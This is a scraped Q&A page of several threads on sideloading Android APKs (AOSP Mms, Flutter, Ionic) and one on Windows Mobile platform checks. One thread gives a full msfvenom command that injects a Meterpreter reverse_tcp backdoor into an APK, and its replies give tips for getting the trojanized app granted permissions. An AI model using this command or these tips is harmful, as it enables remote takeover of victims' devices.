How to install custom build AOSP apps in Android phone - android-source

I have build MMS app from AOSP (Build no: LMY48M) using the following command
make -j8 Mms
The command produces a Mms.apk file, that I would like to install in my Nexus 5 phone. The phone is rooted and has Android Build number LMY48M installed.
The phone should contain a Mms app installed with the same app Id of my Mms.apk file. I wanted to remove the installed Mms app from the phone as I have root permission. I do not find any Mms application whatsoever. SMS functionality is being provided by Hangouts app.
Moreover, when I tried to install the generated Mms.apk file, it shows permission screen with the install button. Tapping on install button starts the installation process but stops in few seconds with error "App not installed."
Any suggestion is appreciated. Thank you.

You should try copy paste the apk into system->app instead of installing

You should install the apk using the adb install command:
adb install -r Mms.apk
This should install the latest apk and will perform an update of the previous version of the Mms.apk if it is already present.
The tricky part here is if it is already present the new apk must be signed with the same cert as the existing one. I'm not sure if those are public certs or not but it's worth a try.

lunch aosp_arm-eng command is for emulator and won't work for device build, rather use specific command for the device. For Nexus 5 you need to use command lunch aosp_hammerhead-userdebug (Ref: https://source.android.com/source/running.html#selecting-device-build)
P.S you should download the same branch as of your device build number. For instance, my Nexus 5 device has build number LMY48M, so I should download branch android-5.1.1_r14. For more information, https://source.android.com/source/build-numbers.html
Now you can install the Mms.apk file just tapping on it from device. You do not need to uninstall/remove Hangouts.
The Mms application has been replaced in Lillipop by Hangouts app. If you would like to install the Mms app as an internal app then you need to make the following folder structure in your rooted device,
system/priv-app/Mms/Mms.apk
and restart the device.

Related

app-release is not installed in real device Flutter

I am releasing apk this way(shown on image)
I have release apk file from build/flutter/Build apk but is not installed in any real devices and its give me error "App is not installed as package appears to be invalid". Can you please help me how to solve this error I am stuck in this problem. This app is run nicely in debug mode from run command.
I have tried this solution:
Uninstall old app and then tried to installed this app
Restart real device and then tried to install this app
Create new apk release file and tried.
Flutter clean and Flutter get done.
Tried to install more than 5 devices but same error in every real device.

flutter debug APK not installing on mobile

Am not able to install the APK in my mobile generated by gradle. it's working fine on an emulator but when I try to install on my mobile its starts installing and in the middle, it gives the error APK not installed. Am running android 10. Paths from where I picked the debug APKs are as follow.
<project>/build/app/outputs/apk/debug/app-debug.apk
<project>/build/app/outputs/apk/debug/app.apk
<project>/build/app/outputs/flutter-apk/app-debug.apk
It seems your apk does not have certificate yet.
you cant install it just like that. you can either certify it build release android app
or set your phone to install app form unknown source. in app settings or security settings
If you're trying to manually install the app-debug.apk, you should rather consider generating app-release.apk but if you can't debug the app, then you might considering opening up your developer options.

payload injected app doesn't ask for any permissions

I'm trying to trying to inject an apk with msfvenom payload, and thus get a backdoor on my android device upon installing it. Why isn't it asking for permissions upon installation?
In the past I've been able to successfully create a standalone payload and get a backdoor tunnel to my device.
msfvenom -p android/meterpreter/reverse_tcp -x /Users/root/Downloads/newApp.apk LHOST=[IP] LPORT=[port] -o /Users/root/Desktop/android.apk
I expected the app to ask for all the permissions specified in manifest file, but it isn't asking for any during installation or at runtime.
I had the same problem, but I have found a fix for it.
create apk file injected with payload.
install it on your phone.
install APK Editor pro v1.9.7.
open the apk editor and search for the injected apk click on it and click on COMMON EDIT.
change Minimum SDK version to 10 and Target SDK Version to 17.
I have already checked it and it's working
You need to specify what permissions the Main.apk has in your device..did you check those?If it has not asked for permission chances are it has no permission.
I have found some problems in the payload generation, but I have also found a solution.
1.- Inject the payload in the original application.
2.- Install the apk file on an android device.
3.- Go to application settings and search for the infected application.
4.- Grant all permissions.
And that's it, this worked for me.

Easiest way to install the Ionic android app I created on a mobile

On this website (https://ionicframework.com/docs/intro/deploying/) I read that I should give this command on the command prompt: ionic cordova run android --prod --release
I tried it but it only tried to start the app on an emulator (I have some problems with it, so it didn't actually start the emulator). Does this command also create a file I can put on my mobile and install the app? I don't want to put the app on Google play, just on my mobile.
I tried putting the android-debug.apk on my mobile and running it but my mobile couldn't install it (.../platforms/android/build/outputs/apk/android-debug.apk)
I'm not trying to test the app on my mobile, I'm trying to install it.
If you want to deploy the apk to your device
ionic cordova run android --device is indeed correct. (try adding --device)
You only need --prod --release when building for production (longer buildtime).
Before running (= building, installing and starting your app) check if your device has USB-debugging enabled. You can check if your device is connected by running adb devices. Since the run command includes building, yes run should create a apk for you.
As you said you also could install the apk manually. Here make sure to use the correct apk. android-debug.apk is the development build (no --release tag) and since your trying to run a production one (--release) you are looking for android-release.apk or android-release-unsigned.apk.
go to settings -> security in your phone then check Unknown sources (Allow installation of apps from sources other than the play store) and try to put the android-debug.apk again. this should work

How can I check the device platform before deployment in the .NET Compact Framework?

I've developed an application for Windows Mobile using Windows Mobile 6 Pro with CF 3.5 and I have some deployment questions.
I'm targeting only Pocket PC and I don't want to let users install it on their smartphone (because it simply won't work).
How can I check for the platform on which the user is installing the application and show him some error message?
Just to let you know, I have an .msi in order to install the app into the device from the desktop (setup project with cab inside), and it's fine.
I just need this extra verification.
See this link on how you can detect the platform. Cab files support an optional setup.dll, which can be used for registering custom actions in Install init, Install exit, Uninstall init and Unistall exit. You could use the install init entry point and stop the installation or show a dialog if the platform doesn't match. This of course has to be native development.